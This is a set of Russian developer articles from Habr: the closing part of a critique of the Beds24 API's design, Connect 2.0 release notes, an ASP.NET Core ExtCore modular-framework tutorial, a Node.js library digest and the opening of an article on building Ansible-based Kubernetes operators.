Ниже приведены «инструкции» по использованию API из документации проекта:
Пожалуйста изучите следующие инструкции при использовании API.
1. Обращения к API следует проектировать так, чтобы в ходе их выполнения приходилось бы отправлять и принимать минимальный объём данных.
2. Обращения к API выполняются по одному за раз. Необходимо дождаться выполнения очередного обращения к API прежде чем выполнять следующее обращение.
3. Если нужно выполнить несколько обращений к API, между ними следует предусмотреть наличие паузы длительностью несколько секунд.
4. Вызовы API нужно выполнять не слишком часто, поддерживая уровень обращений на минимальном уровне, необходимом для решения задач клиента.
5. Чрезмерное использование API в пределах 5-минутного периода приведёт к блокировке вашей учётной записи без дополнительных уведомлений.
6. Мы оставляем за собой право блокировать доступ к системе клиентам, которые, по нашему мнению, чрезмерно используют API. Делается это по нашему усмотрению и без дополнительных уведомлений.
В то время как пункты 1 и 4 выглядят вполне обоснованными, с другими пунктами этой инструкции я согласиться не могу. Рассмотрим их.
1. Пункт №2. Если вы разрабатываете REST API, то предполагается, что это будет API, не зависящее от состояния. Независимость обращений к API от предыдущих обращений к нему — это одна из причин того, что технология REST нашла широкое применение в облачных приложениях. Если некий модуль системы не поддерживает состояние, его, в случае ошибки, можно легко развернуть повторно. Системы, основанные на подобных модулях, легко масштабируются при изменении нагрузки на них. При проектировании RESTful API стоит следить за тем, чтобы это было API, не зависящее от состояния, и чтобы тем, кто его использует, не приходилось бы беспокоиться о чём-то вроде выполнения только одного запроса за раз.
2. Пункт №3. Этот пункт выглядит довольно странно и неоднозначно. Я не могу понять причину, по которой был написан этот пункт инструкции, но у меня возникает ощущение, что он говорит нам о том, что в процессе обработки запроса система выполняет некие действия, и, если её при этом «отвлечь» ещё одним запросом, отправленным не вовремя, это может нарушить её работу. Кроме того, то, что автор руководства говорит о «нескольких секундах», не позволяет узнать точной длительности паузы, которую нужно выдержать между последовательными запросами.
3. Пункты №5 и №6. Тут говорится о «чрезмерном использовании API», но никаких критериев «чрезмерного использования» не приводится. Может, это 10 запросов в секунду? А может — 1? Кроме того, некоторые веб-проекты могут иметь огромные объёмы трафика. Если без каких-то адекватных причин и без уведомлений закрывать им доступ к нужным им API, их администраторы, наверняка, от использования таких API откажутся. Если вам доведётся писать подобные инструкции — используйте в них чёткие формулировки и ставьте себя на место пользователей, которым придётся работать с вашей системой, руководствуясь вашими инструкциями.
Проблема №5: документация
-------------------------
Вот как выглядит документация к API.
*Документация к API Beds24*
Единственная проблема этой документации — её внешний вид. Она выглядела бы гораздо лучше, если бы её хорошо отформатировали. Специально для того, чтобы показать возможный внешний вид подобной документации, я, воспользовавшись [Dillinger](https://dillinger.io/), и потратив на это меньше двух минут, сделал следующий её вариант. На мой взгляд, он выглядит гораздо лучше вышеприведённого.
*Улучшенный вариант документации*
Для создания подобных материалов рекомендуется пользоваться специальными инструментами. Если речь идёт о простых документах, похожих на вышеописанный, то для их оформления вполне достаточно чего-то вроде обычного markdown-файла. Если документация устроена сложнее, то для её оформления лучше всего воспользоваться инструментами наподобие [Swagger](https://swagger.io/) или [Apiary](https://apiary.io/).
Кстати, если сами хотите взглянуть на документацию к API Beds24 — загляните [сюда](https://api.beds24.com/).
Проблема №6: безопасность
-------------------------
В документации ко всем конечным точкам API сказано следующее:
*Для использования этих функций должен быть разрешён доступ к API. Это делается в меню SETTINGS → ACCOUNT → ACCOUNT ACCESS.*
Однако в реальности любой может обратиться к этому API, и, воспользовавшись некоторыми вызовами, получить из него информацию, не предоставив никаких учётных данных. Например, это относится и к запросам по поводу доступности определённых жилых помещений. Речь об этом идёт в другой части документации.
*Большинство JSON-методов требуют ключ API для доступа к учётной записи. Ключ доступа к API можно установить, воспользовавшись меню SETTINGS → ACCOUNT → ACCOUNT ACCESS.*
В дополнение к непонятному разъяснению вопросов аутентификации оказывается, что ключ для доступа к API пользователь должен создавать самостоятельно (делается это, кстати, путём ручного заполнения соответствующего поля, какие-то средства для автоматического создания ключей не предусмотрены). Длина ключа должна быть в пределах от 16 до 64 символов. Если позволить пользователям самостоятельно создавать ключи для доступа к API, это может привести к появлению весьма небезопасных ключей, которые можно легко подобрать. В подобной ситуации возможны и проблемы, связанные с содержимым ключей, так как в поле для ключа можно ввести всё что угодно. В худшем случае это может привести к атаке на сервис методом SQL-инъекции или к чему-то подобному. При проектировании API не позволяйте пользователям создавать ключи для доступа к API самостоятельно. Вместо этого генерируйте для них ключи автоматически. Пользователь не должен иметь возможности изменить содержимое такого ключа, но, при необходимости, он должен иметь возможность сгенерировать новый ключ, признав старый недействительным.
В случае с запросами, для выполнения которых нужна аутентификация, мы видим другую проблему. Она заключается в том, что токен аутентификации должен быть отправлен в виде части тела запроса. Вот как это описано в документации.
*Пример аутентификации в API Beds24*
Если токен аутентификации передаётся в теле запроса — это означает, что серверу, прежде чем он доберётся до ключа, нужно будет разобрать тело запроса. После этого он извлекает ключ, выполняет аутентификацию, а затем уже решает — что ему делать с запросом — выполнять его или нет. Если аутентификация удалась — то сервер не будет подвержен дополнительной нагрузке, так как в таком случае тело запроса всё равно пришлось бы разбирать. А вот если аутентифицировать запрос не получилось, то ценное процессорное время будет потрачено на разбор тела запроса впустую. Лучше будет отправлять токен аутентификации в заголовке запроса, используя что-то наподобие схемы аутентификации [Bearer](https://swagger.io/docs/specification/authentication/bearer-authentication/). При таком подходе серверу понадобится разбирать тело запроса лишь в том случае, если аутентификация окажется успешной. Ещё одной причиной, по которой для аутентификации рекомендуется использовать стандартную схему наподобие Bearer, является тот факт, что с подобными схемами знакомо большинство разработчиков.
Проблема №7: производительность
-------------------------------
Эта проблема в моём списке последняя, но это не умаляет её важности. Дело в том, что на выполнение запроса к рассматриваемому API уходит немного больше секунды. В современных приложениях такие задержки могут оказаться недопустимыми. Собственно говоря, тут можно посоветовать всем, кто занимается разработкой API, не забывать о производительности.
Итоги
-----
Несмотря на все те проблемы, о которых мы тут говорили, рассматриваемое API позволило решить задачи, стоящие перед проектом. Но разработчикам понадобилось довольно много времени на то, чтобы разобраться в API и реализовать всё, что им нужно. Кроме того, им, для решения простых задач, пришлось писать довольно-таки сложный код. Будь это API спроектировано как следует, работа была бы сделана быстрее, а готовое решение оказалось бы проще.
Поэтому я хотел бы попросить всех, кто проектирует API, думать о том, как с ним будут работать пользователи их сервисов. Следите за тем, чтобы документация к API полно описывала бы их возможности, чтобы она была бы понятной и хорошо оформленной. Контролируйте именование сущностей, обращайте внимание на то, чтобы данные, которые выдаёт или принимает ваше API, были бы чётко структурированными, чтобы с ними было бы легко и удобно работать. Кроме того, не забывайте о безопасности и о правильной обработке ошибок. Если при проектировании API принять во внимание всё то, о чём мы говорили, тогда для работы с ним не понадобится писать нечто вроде тех странных «инструкций», которые мы обсуждали выше.
Как уже было сказано, этот материал направлен не на то, чтобы отбить у читателей охоту пользоваться Beds24 или любой другой системой с плохо спроектированным API. Моя цель заключалась в том, чтобы, продемонстрировав примеры ошибок и подходы к их решению, дать рекомендации, следуя которыми все желающие могли бы повысить качество своих разработок. Надеюсь, этот материал привлечёт внимание прочитавших его программистов к качеству разрабатываемых ими решений. А это значит, что в мире будет больше хороших API.
**Уважаемые читатели!** Встречались ли вам некачественно спроектированные API?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/436888/ | null | ru | null |
# Connect 2 — Новые дополнения, улучшения и документация!
Не так давно, а именно 2011-10-05 вышла новая версия фреймворка connect 2.0. На хабре был замечен пробел, а тут выдалось пару свободных часов. Буду писать сразу про версию 2.0.1 вышедшую 29 февраля. Во второй версии сделали много очень нужных и долгожданных изменений.
#### HTTP и HTTPS для одного сервера-приложения!
Ранее connect.Server был унаследован от net.Server из ядра NodeJS, это вызывало неудобства для создания одновременно HTTP и HTTPS приложения. В результате connect() (ранее connect.createServer()) стал новой функцией более универсальной. Это означает, что вы можете пропустить вызов app.listen(), а просто использвать в приложениях net.Server из NodeJS, пример:
```
var connect = require('connect'), http = require('http'), https = require('https');
tlsOptions = {
key: fs.readFileSync('keys/key.pem'),
cert: fs.readFileSync('keys/cert.pem')
};
var app = connect()
.use(function(req, res) {
res.end('hello habrahabr\n');
})
http.createServer(app).listen(80);
https.createServer(tlsOptions, app).listen(443);
```
#### Улучшенный парсер запросов
В дополнение bodyParser() добавлены новые функции обработки входящих запросов: json() для запросов application/json, multipart() для запросов multipart/form-data, и urlencoded() для запросов application/x-www-form-urlencoded. Все они представляют новые возможности доступа к передаваемым данным в запросах для req.body, а функция multipart() предоставляет доступ к передаваемым параметрам не только в req.body, но и req.files к загружаемым файлам.
Подключать пасеры можно по отдельности:
```
app.use(connect.json());
app.use(connect.urlencoded());
app.use(connect.multipart());
```
это будет равносильно записи:
```
app.use(connect.bodyParser());
```
#### Поддержка deflate и gzip на уровне ядра
С версии Node 0.6.0 стало доступно нативное использование сжатия (zlib.createGzip и zlib.createDeflate), поэтому в connect было добавлено дополнение compress() для их поддержки. Дополнение имеет [параметры настройки сжатия](http://nodejs.org/docs/latest/api/all.html#options) передаваемые в нативные функции.
#### Парсер Cookie
Для дополнения cookieParser() теперь доступны подписи. Раньше надо было использовать session({ secret: string }) и само дополнение session(). Теперь можно работать с подписанными cookies и своими сессиями через свойство req.signedCookies, а так же для работы с не подписанными через свойство req.cookies.
```
connect()
.use(connect.cookieParser('keyboard cat'))
.use(function(req, res, next){
res.end(JSON.stringify(req.cookies));
})
```
#### Обработка ошибок
Ранее работа с ошибками была проблемой. Все ошибки перехватывались errorHandler() в самом connect() и выдавались стандартными страницами. Теперь появилась возможность переопределять обработчик ошибок, при этом так же используя next(err) в своём коде.
```
app.use(function(err, req, res, next){
if (4 == err.status / 100) {
// render a client-error page
} else {
// render a server-error page
}
});
```
#### Сессии
Как уже упоминалось session() больше не требуют secret. Для cookie свойство .maxAge по умолчанию было null, а это значило, что все установленные cookie удалялись при закрытии браузера.
#### Стороние дополнения
Все дополнения к connect() должны остаться работоспособными. Это всё не совместимо с express 2.0, ожидайте выхода express 3.0!
#### Список всех изменений
Были внесены описанные существенные изменения, а также несколько других, которые не влияют на API. Все тестирования проводились с помощью Mocha.
**2.0.1 / 2012-02-29**
* **Добавлено** покрытие тестами vhost() дополнения
* **Изменено** cookieParser() подпись для cookie поддержка использования SHA-2 [senotrusov]
* **Исправлено** static() Range: ответ с 416 если невыполнимо
* **Исправлено** vhost() дополнение. Закрытие #494
**2.0.0 / 2011-10-05**
* **Добавлено** cookieSession() дополнение только для cookie-сессий
* **Добавлено** compress() дополнение для gzip / deflate поддержки
* **Добавлено** session() «proxy» настройка для проверки X-Forwarded-Proto
* **Добавлено** json() дополнение для поддержки «application/json»
* **Добавлено** urlencoded() дополнение для поддержки «application/x-www-form-urlencoded»
* **Добавлено** multipart() дополнение для поддержки «multipart/form-data»
* **Добавлено** cookieParser(secret) доступ к подписанным cookies
* **Добавлено** поддержка подписи cookie в cookieParser()
* **Добавлено** поддержка JSON-сериализаций cookies в cookieParser()
* **Добавлено** err.status поддержка в Connect по умолчанию
* **Добавлено** X-Cache MISS / HIT в staticCache()
* **Добавлено** public res.headerSent checking nodes res.\_headerSent until node does
* **Изменено** basicAuth() req.remoteUser в req.user
* **Изменено** по умолчанию session() в браузер-сессии cookie. Закрывает #475
* **Изменено** больше не в нижнем регистре имена в cookie
* **Изменено** bodyParser() теперь использует json(), urlencoded() и multipart()
* **Изменено** errorHandler() возможность переопределения (в разработке)
* **Изменено** использование next() для перехвата ошибок даёт больше возможностей их дальнейшей обработки
* **Убрано** http[s].Server наследование, для возможности создания в одном приложении http и https
* **Убрано** .createServer() (использовать connect())
* **Убрано** свойство secret в session(), использовать cookieParser(secret)
* **Убрано** connect.session.ignore поддержка массива
* **Убрано** router() дополнение. Закрывает #262
* **Исправлено** set-cookie только 1 раз за сессию
* **Исправлено** FQDN поддержка. Не добавляет "/"
* **Исправлено** 404 при проведении XSS. Закрывает #473
* **Исправлено** HEAD поддержка для 404 и 500 генерируемых Connect
Теперь ждём express 3!
Источники и ссылки:
[Запись из блога TJ Holowaychuk](http://tjholowaychuk.com/post/18418627138/connect-2-0)
[Страница Connect](http://www.senchalabs.org/connect/)
[Github connect](https://github.com/senchalabs/connect) | https://habr.com/ru/post/139203/ | null | ru | null |
# Готовим ASP.NET Core: подробнее про работу с модульным фреймворком
> *Мы продолжаем нашу колонку по теме ASP.NET Core очередной публикацией от Дмитрия Сикорского ( [DmitrySikorsky](https://habrahabr.ru/users/dmitrysikorsky/)) — руководителя компании «Юбрейнианс» из Украины. В этот раз Дмитрий продолжает рассказ о своем опыте разработки модульного кроссплатформенного фреймворка на базе ASP.NET Core. Предыдущие статьи из колонки всегда можно прочитать по ссылке [#aspnetcolumn](http://habrahabr.ru/search/?q=%5B%23aspnetcolumn%5D&target_type=posts) — Владимир Юнев*
В [предыдущей статье](https://habrahabr.ru/company/microsoft/blog/278247/) я уже рассказывал об ExtCore — небольшом фреймворке для разработки модульных и расширяемых приложений на ASP.NET Core. В этой статье я постараюсь более подробно остановится на процессе разработки приложения на его основе.
### Основное приложение
Первым делом создадим новый пустой проект на ASP.NET Core 1.0:
В результате мы получим готовый к использованию проект. Осталось только удалить файл Project\_Readme.html. Теперь наш обозреватель решений должен выглядеть примерно следующим образом:
> [](https://github.com/ExtCore/ExtCore-Sample)**Совет!** Вы можете попробовать все самостоятельно или загрузив исходный код из GitHub <https://github.com/ExtCore/ExtCore-Sample>.
Чтобы подключить к нашему проекту фреймворк ExtCore необходимо добавить ссылки на NuGet-пакеты ExtCore.Infrastructure и ExtCore.WebApplication в project.json. Также, т. к. в этом примере мы будем работать с базой данных, добавим туда ссылки и на компоненты расширения ExtCore.Data: (ExtCore.Data, ExtCore.Data.Abstractions, ExtCore.Data.EntityFramework.Sqlite, ExtCore.Data.Models.Abstractions). (Еще нам понадобятся ссылки на привычные для MVC-приложений пакеты, вроде Microsoft.AspNet.Mvc.) В итоге наш project.json должен иметь следующий вид:
```
{
"commands": {
"web": "Microsoft.AspNet.Server.Kestrel"
},
"dependencies": {
"EntityFramework.Sqlite": "7.0.0-rc1-final",
"ExtCore.Data": "1.0.0-alpha7",
"ExtCore.Data.Abstractions": "1.0.0-alpha7",
"ExtCore.Data.EntityFramework.Sqlite": "1.0.0-alpha7",
"ExtCore.Data.Models.Abstractions": "1.0.0-alpha7",
"ExtCore.Infrastructure": "1.0.0-alpha7",
"ExtCore.WebApplication": "1.0.0-alpha7",
"Microsoft.AspNet.Diagnostics": "1.0.0-rc1-final",
"Microsoft.AspNet.Diagnostics.Entity": "7.0.0-rc1-final",
"Microsoft.AspNet.Mvc": "6.0.0-rc1-final",
"Microsoft.AspNet.Mvc.TagHelpers": "6.0.0-rc1-final",
"Microsoft.AspNet.Server.Kestrel": "1.0.0-rc1-final",
"Microsoft.Extensions.Configuration.Abstractions": "1.0.0-rc1-final",
"Microsoft.Extensions.Configuration.Json": "1.0.0-rc1-final",
"Microsoft.VisualStudio.Web.BrowserLink.Loader": "14.0.0-rc1-final"
},
"exclude": [
"wwwroot"
],
"frameworks": {
"dnx451": { },
"dnxcore50": { }
},
"publishExclude": [
"**.user",
"**.vspscc"
],
"version": "1.0.0-*",
"webroot": "wwwroot"
}
```
Теперь осталось лишь унаследовать класс Startup от ExtCore.WebApplication.Startup:
```
public class Startup : ExtCore.WebApplication.Startup
{
public Startup(IHostingEnvironment hostingEnvironment, IApplicationEnvironment applicationEnvironment, IAssemblyLoaderContainer assemblyLoaderContainer, IAssemblyLoadContextAccessor assemblyLoadContextAccessor, ILibraryManager libraryManager)
: base(hostingEnvironment, applicationEnvironment, assemblyLoaderContainer, assemblyLoadContextAccessor, libraryManager)
{
IConfigurationBuilder configurationBuilder = new ConfigurationBuilder()
.AddJsonFile("config.json");
this.configurationRoot = configurationBuilder.Build();
}
public override void ConfigureServices(IServiceCollection services)
{
base.ConfigureServices(services);
}
public override void Configure(IApplicationBuilder applicationBuilder, IHostingEnvironment hostingEnvironment)
{
if (hostingEnvironment.IsEnvironment("Development"))
{
applicationBuilder.UseBrowserLink();
applicationBuilder.UseDeveloperExceptionPage();
applicationBuilder.UseDatabaseErrorPage();
}
else
{
applicationBuilder.UseExceptionHandler("/");
}
base.Configure(applicationBuilder, hostingEnvironment);
}
}
```
В конструкторе класса Startup мы инициализируем переменную configurationRoot, определенную в базовом классе ExtCore.WebApplication.Startup. Это необходимо для предоставления фреймворку ExtCore доступа к параметрам конфигурации (в нашем случае единственным источником параметров конфигурации является файл config.json). Например, расширение ExtCore.Data таким образом получает параметр Data:DefaultConnection:ConnectionString (строку подключения к базе данных). Также можно конфигурировать и другие расширения (в т. ч. свои собственные).
Давайте создадим файл config.json в корне проекта:
```
{
"Data": {
"DefaultConnection": {
"ConnectionString": "Data Source=../db.sqlite"
}
},
"Extensions": {
"Path": "artifacts\\bin\\Extensions"
}
}
```
Параметр Extensions:Path определяет путь, по которому в файловой системе расположена папка с расширениями (относительно корня приложения).
Вот и все, на этом моменте мы можем собрать и запустить наше приложение. Мы получим ошибку 404 и это будет правильно, т. к. у нас пока что нет ни маршрутов, ни контроллеров.
### Расширения
Теперь давайте создадим 2 расширения. Первое расширение (ExtensionA) на своей единственной странице (главной странице нашего приложения) будет просто отображать список всех доступных расширений. Также в нем мы протестируем использование статического контента в виде ресурсов на примере CSS-файла. Второе расширение (ExtensionB) будет отображать записи, описанные моделью, из базы данных. Все просто.
#### Расширение ExtensionA
Создадим еще один проект WebApplication.ExtensionA (обратите внимание, что на этот раз это библиотека классов):
Чтобы удобно разделять проекты в решении, относящиеся к различным расширениям, переместим наш проект в папку решения с названием ExtensionA, предварительно ее создав.
Первым делом опять отредактируем project.json. Добавим ссылку на ExtCore.Infrastructure (содержит описание интерфейса IExtension; кроме того, ExtCore загружает и использует только те сборки, которые имеют ссылку на этот пакет) и на Microsoft.AspNet.Mvc. В этом расширении мы будем использовать представление и CSS-файл, добавленные в виде ресурсов (детальнее я описал это в предыдущей статье, на которую есть ссылка выше), поэтому необходимо также добавить соответствующую запись. Вот что должно получится:
```
{
"dependencies": {
"ExtCore.Infrastructure": "1.0.0-alpha7",
"Microsoft.AspNet.Mvc": "6.0.0-rc1-final"
},
"frameworks": {
"dnx451": { },
"dnxcore50": { }
},
"resource": [ "Styles/**", "Views/**" ],
"version": "1.0.0-*"
}
```
Далее, реализуем интерфейс IExtension:
```
public class ExtensionA : IExtension
{
private IConfigurationRoot configurationRoot;
public string Name
{
get
{
return "Extension A";
}
}
public void SetConfigurationRoot(IConfigurationRoot configurationRoot)
{
this.configurationRoot = configurationRoot;
}
public void ConfigureServices(IServiceCollection services)
{
}
public void Configure(IApplicationBuilder applicationBuilder)
{
}
public void RegisterRoutes(IRouteBuilder routeBuilder)
{
routeBuilder.MapRoute(name: "Extension A", template: "", defaults: new { controller = "ExtensionA", action = "Index" });
}
}
```
В методе RegisterRoutes мы добавляем маршрут для главной страницы нашего приложения.
Теперь добавим контроллер с единственным методом Index, который будет передавать представлению набор имен всех загруженных ExtCore расширений, для получения которых используется класс ExtensionManager:
```
public class ExtensionAController : Controller
{
public ActionResult Index()
{
return this.View(ExtensionManager.Extensions.Select(e => e.Name));
}
}
```
В свою очередь, представление отображает этот набор следующим образом:
```
@foreach (var item in this.Model)
{
* @item
}
```
Последнее, что необходимо сделать, это добавить файл стилей typography.css в папку Styles. Выше, в файле project.json, мы указали, что все содержимое папок Styles и Views будет добавлено в сборку в виде ресурсов. ExtCore обнаружит эти ресурсы и сделает возможным их использование аналогичным использованию физических файлов способом. Т. е. мы сможем подключить наш CSS-файл в любом расширении таким образом:
```
```
Следует лишь иметь в виду, что древовидная структура файловой системы превращается в «плоскую» структуру текстовых имен (регистр имеет значение!).
Наше расширение ExtensionA готово. Чтобы протестировать его работу достаточно либо добавить ссылку на него в project.json основного приложения, либо собрать его в виде dll-файла и скопировать его в папку с расширениями (мы ранее указали ее в config.json).
#### Расширение ExtensionB
Здесь нам понадобится целых 4 новых проекта: WebApplication.ExtensionB, WebApplication.ExtensionB.Data.Abstractions, WebApplication.ExtensionB.Data.EntityFramework.Sqlite и WebApplication.ExtensionB.Data.Models. Как и в первом расширении, сгруппируем их в папке решения (с названием ExtensionB).
**WebApplication.ExtensionB**
В этом проекте мы разместим реализацию интерфейса IExtension, контроллер, модели видов и представления.
Реализация интерфейса IExtension аналогична таковой из предыдущего расширения. Перейдем сразу к контроллеру:
```
public class ExtensionBController : Controller
{
private IStorage storage;
public ExtensionBController(IStorage storage)
{
this.storage = storage;
}
public ActionResult Index()
{
return this.View(new IndexViewModelBuilder().Build(this.storage.GetRepository().All()));
}
}
```
Т. к. в этом расширении нам необходимо получать некие записи из базы данных, воспользуемся для этого возможностями расширения ExtCore.Data. В конструкторе контроллера запросим у встроенного в ASP.NET DI доступную реализацию интерфейса IStorage (которую раннее обнаружило и зарегистрировало расширение ExtCore.Data). Далее, запросим уже собственную реализацию собственного интерфейса IItemRepository для конкретного хранилища (в нашем случае, это база данных SQLite) и вызовем метод All для получения всех записей. Далее, преобразуем модели из базы данных в модели видов для отображения в представлении.
Вместо использование представлений в виде ресурсов, в этом расширении мы будем использовать предварительно скомпилированные представления. Для этого необходимо добавить класс RazorPreCompilation в папку /Compiler/PreProcess:
```
public class RazorPreCompilation : RazorPreCompileModule
{
protected override bool EnablePreCompilation(BeforeCompileContext context) => true;
}
```
Это даст нам возможность использовать собственные (т. е. объявленные внутри нашего расширения) классы для моделей видов. (Более подробно о предварительно скомпилированных представлениях см. в предыдущей статье.)
**WebApplication.****ExtensionB.****Data.****Abstractions**
Этот проект содержит интерфейс единственного репозитория для работы с моделями типа Item (см. ниже):
```
public interface IItemRepository : IRepository
{
IEnumerable All();
}
```
В нашем примере интерфейс описывает всего лишь один метод для получения всех записей.
**WebApplication.****ExtensionB.****Data.****EntityFramework.****Sqlite**
В этом проекте мы реализуем интерфейс IItemRepository для конкретного хранилища — базы данных SQLite:
```
public class ItemRepository : RepositoryBase, IItemRepository
{
public IEnumerable All()
{
return this.dbSet.OrderBy(i => i.Name);
}
}
```
Т. к. расширение не работает напрямую с конкретной реализацией, а использует лишь абстракции, мы можем поддерживать одновременно несколько типов хранилищ и добавлять новые без необходимости изменения кода самого расширения.
Также, здесь же происходит и регистрация используемых в расширении моделей и настройки хранилища. Для этого используется класс, реализующий интерфейс IModelRegistrar:
```
public class ModelRegistrar : IModelRegistrar
{
public void RegisterModels(ModelBuilder modelbuilder)
{
modelbuilder.Entity(etb =>
{
etb.HasKey(e => e.Id);
etb.Property(e => e.Id);
etb.ForSqliteToTable("Items");
}
);
}
}
```
**WebApplication.ExtensionB.Data.Models**
В этом проекте мы описываем нашу единственную модель — Item:
```
public class Item : IEntity
{
public int Id { get; set; }
public string Name { get; set; }
}
```
Каждая модель должна реализовать интерфейс ExtCore.Data.Models.Abstractions.IEntity.
Протестируем работу нашего нового расширения точно так, как мы это делали с ExtensionA.
### Запуск и тестирование
Наше приложение с двумя расширениями готово. Запустив его, мы должны увидеть нечто подобное:
### Выводы
В настоящий момент мы (я и несколько заинтересовавшихся ребят) активно развиваем этот проект и на нем уже основано несколько других. Будем очень рады идеям, советам и критике. Спасибо!
Ссылка на исходники: <https://github.com/ExtCore/ExtCore-Sample>.
### Авторам
Друзья, если вам интересно поддержать колонку своим собственным материалом, то прошу написать мне на [vyunev@microsoft.com](mailto:vyunev@microsoft.com) для того чтобы обсудить все детали. Мы разыскиваем авторов, которые могут интересно рассказать про ASP.NET и другие темы.
### Об авторе
**Сикорский Дмитрий Александрович**
Компания «Юбрейнианс» (<http://ubrainians.com/>)
Владелец, руководитель
[DmitrySikorsky](https://habrahabr.ru/users/dmitrysikorsky/) | https://habr.com/ru/post/279985/ | null | ru | null |
# Новости из мира Node: DataCollection.js, Supererror, Readability
#### **DataCollection.js**
[DataCollection.js](http://thestorefront.github.io/DataCollection.js/)\* — представляет собой библиотеку для выполнения запросов к источнику данных. Вы можете использовать ее как в браузере так и на стороне *Node*. Пример в документации использует массив объектов, над которым выполняются операции по отбору(фильтрации) используя представление ключ/значение, а так же используются некоторые около sql-ные операторы, такие как `max` и `distinct`.
Авторы заявляют что данный продукт быстр, несмотря на то что я не могу подтвердить этот факт. Хотя библиотека включает в себя такие возможности, как создание индексов для определенных ключей. *DataCollection.js* хорошо документированный проект и имеет тестовое покрытие равное *95.5%*.
Создание:
```
var characters = [
{
id: 1,
first_name: 'Jon',
last_name: 'Snow',
gender: 'm',
age: 14,
location: 'Winterfell'
} // ....... ,
];
var charDC = new DataCollection(characters);
```
Применение:
```
// Will return Jon, Eddard and Ramsay
charDC.query()
.filter({gender: 'm', age__lt: 40})
.values();
// Updates location
charDC.query()
.filter({location: 'Winterfell'})
.exclude({first_name: 'Jon'})
.update({location: 'King\'s Landing'});
```
#### **Supererror**
Вам, наверняка, приходилось работать над проектами, в которых вы записывали(регистрировали) ошибки с помощью инструкции `console.error`. Скорее всего в таких ситуациях вам бы хотелось получить больше полезной информации(например номер линии) без изменения исходного кода. Если это ваш случай то вам наверняка будет интересен проект [supererror](https://github.com/nebulade/supererror)\*\*.
Данный проект изменяет `console.error`, добавляя в него подсветку, номер линии, и стеки вызовов для объекта Error.
Использование:
```
require('supererror');
console.error('Some', new Error('transient error'), 'happened using', { some: 'value' });
console.error(); // no info added
console.error('Using %d as a %s.', 42, 'number');
```
Результат:
#### **Readability**
Проект [Readability](https://github.com/luin/node-readability)\*\*\* меняет формат веб страницы на упрощенный вариант *HTML Arc90*. Для этого используется [jsdom](https://github.com/tmpvar/jsdom). Так же данный продукт поддерживает большое количество кодировок таких как *GB2312*, и еще readability поддерживает относительные URL-адреса, благодаря чему изображения продолжают отображаться.
Я кажется припоминаю об имевших место проблемах с кодировкой и относительными адресами изображений в других ответвлениях проекта *Readability*, так что вышеуказанное утверждение выглядит неплохо.
#### **Пометки**
\* (GitHub: [thestorefront/DataCollection.js](http://thestorefront / DataCollection.js), Лицензия: MIT, npm: [data-collection](https://www.npmjs.org/package/data-collection)) от Storefront.
\*\* (GitHub: [nebulade/supererror](https://github.com/nebulade/supererror), Лицензия: MIT, npm: [supererror](https://www.npmjs.org/package/supererror)) от Johannes Zellner.
\*\*\* (GitHub: [luin/node-readability](https://github.com/luin/node-readability), Лицензия: Apache 2.0, npm: [node-readability](https://www.npmjs.org/package/node-readability)) от Zihua Li | https://habr.com/ru/post/236335/ | null | ru | null |
# Достать до звезд: Осваиваем операторы Ansible для управления приложениями в Kubernetes
Посмотрим, как использовать опубликованные в [Ansible Galaxy](https://galaxy.ansible.com/) роли (Role) в качестве операторов (Operator), управляющих приложениями в Kubernetes, и разберем это на примере создания оператора, который просто устанавливает приложение, гибко настраивая свое поведение в зависимости от среды.
Мы будем использовать [Ansible Operator](https://github.com/operator-framework/operator-sdk/blob/master/doc/ansible/user-guide.md) и [модуль k8s](https://docs.ansible.com/ansible/latest/modules/k8s_module.html), чтобы показать, как применять Ansible для создания Kubernetes-приложений.
Ansible Operator входит в состав [Operator SDK](https://github.com/operator-framework/operator-sdk) и позволяет сформулировать операционный регламент приложения (как оно должно устанавливаться и обслуживаться) на языке ролей и плейбуков Ansible. Модуль k8s, в свою очередь, расширяет возможности управления объектами в Kubernetes при создании таких ролей и плейбуков.
Оператор создается вот так вот просто.
```
FROM quay.io/operator-framework/ansible-operator
RUN ansible-galaxy install djzager.hello_world_k8s
RUN echo $'--- \n\
- version: v1alpha1\n\
group: examples.djzager.io\n\
kind: HelloWorld\n\
role: /opt/ansible/roles/djzager.hello_world_k8s' > ${HOME}/watches.yaml
```
### Ключ на старт
Для начала пара слов об [Ansible-модуле k8s](https://docs.ansible.com/ansible/latest/modules/k8s_module.html). Он появился в Ansible 2.6 и расширяет возможности работы с Kubernetes-объектами из Ansible, причем в любых дистрибутивах Kubernetes, включая Red Hat OpenShift. В блоге Ansible был [отдельный пост](https://www.ansible.com/blog/dynamic-kubernetes-client-for-ansible) про этот модуль и [динамический Python-клиент для Red Hat OpenShift](https://github.com/openshift/openshift-restclient-python/). На наш взгляд, работать с Kubernetes-объектами через Ansible без использования модуля k8s – неправильно. Механизм операторов изначально создавался для того, чтобы запускать приложения в Kubernetes, а Operator SDK предоставляет инструменты для сборки, тестирования и упаковки операторов. В свою очередь, Ansible Operator нужен для того, чтобы задать операционный регламент приложения на языке Ansible. Соответствующий рабочий процесс организован довольно просто: сначала делаем operator-sdk new --type=Ansible, чтобы сгенерировать необходимые файлы для Ansible-оператора, затем расписываем Ansible, и, наконец, делаем operator-sdk build, чтобы собрать приложение для работы в Kubernetes. Но если у нас уже есть роль в Ansible Galaxy, которая управляет приложением в Kubernetes, все становится еще проще. Ниже мы проделаем следующее:
1. Соберем Ansible-роль для управления приложением Hello World в Kubernetes, которая поможет нам продемонстрировать возможности Ansible-модуля k8s.
2. Опубликуем эту роль в Ansible Galaxy.
Итак, соберем Ansible-оператор, используя опубликованную в Ansible Galaxy роль. Зачем вообще создавать оператор, используя роль из Ansible Galaxy? Причины две:
1. [Чтобы не повторяться](https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself). Если мы уже запрограммировали Ansible-роль для управления приложением Hello World и опубликовали ее в Ansible Galaxy, то логично использовать ее и при создании Ansible-оператора.
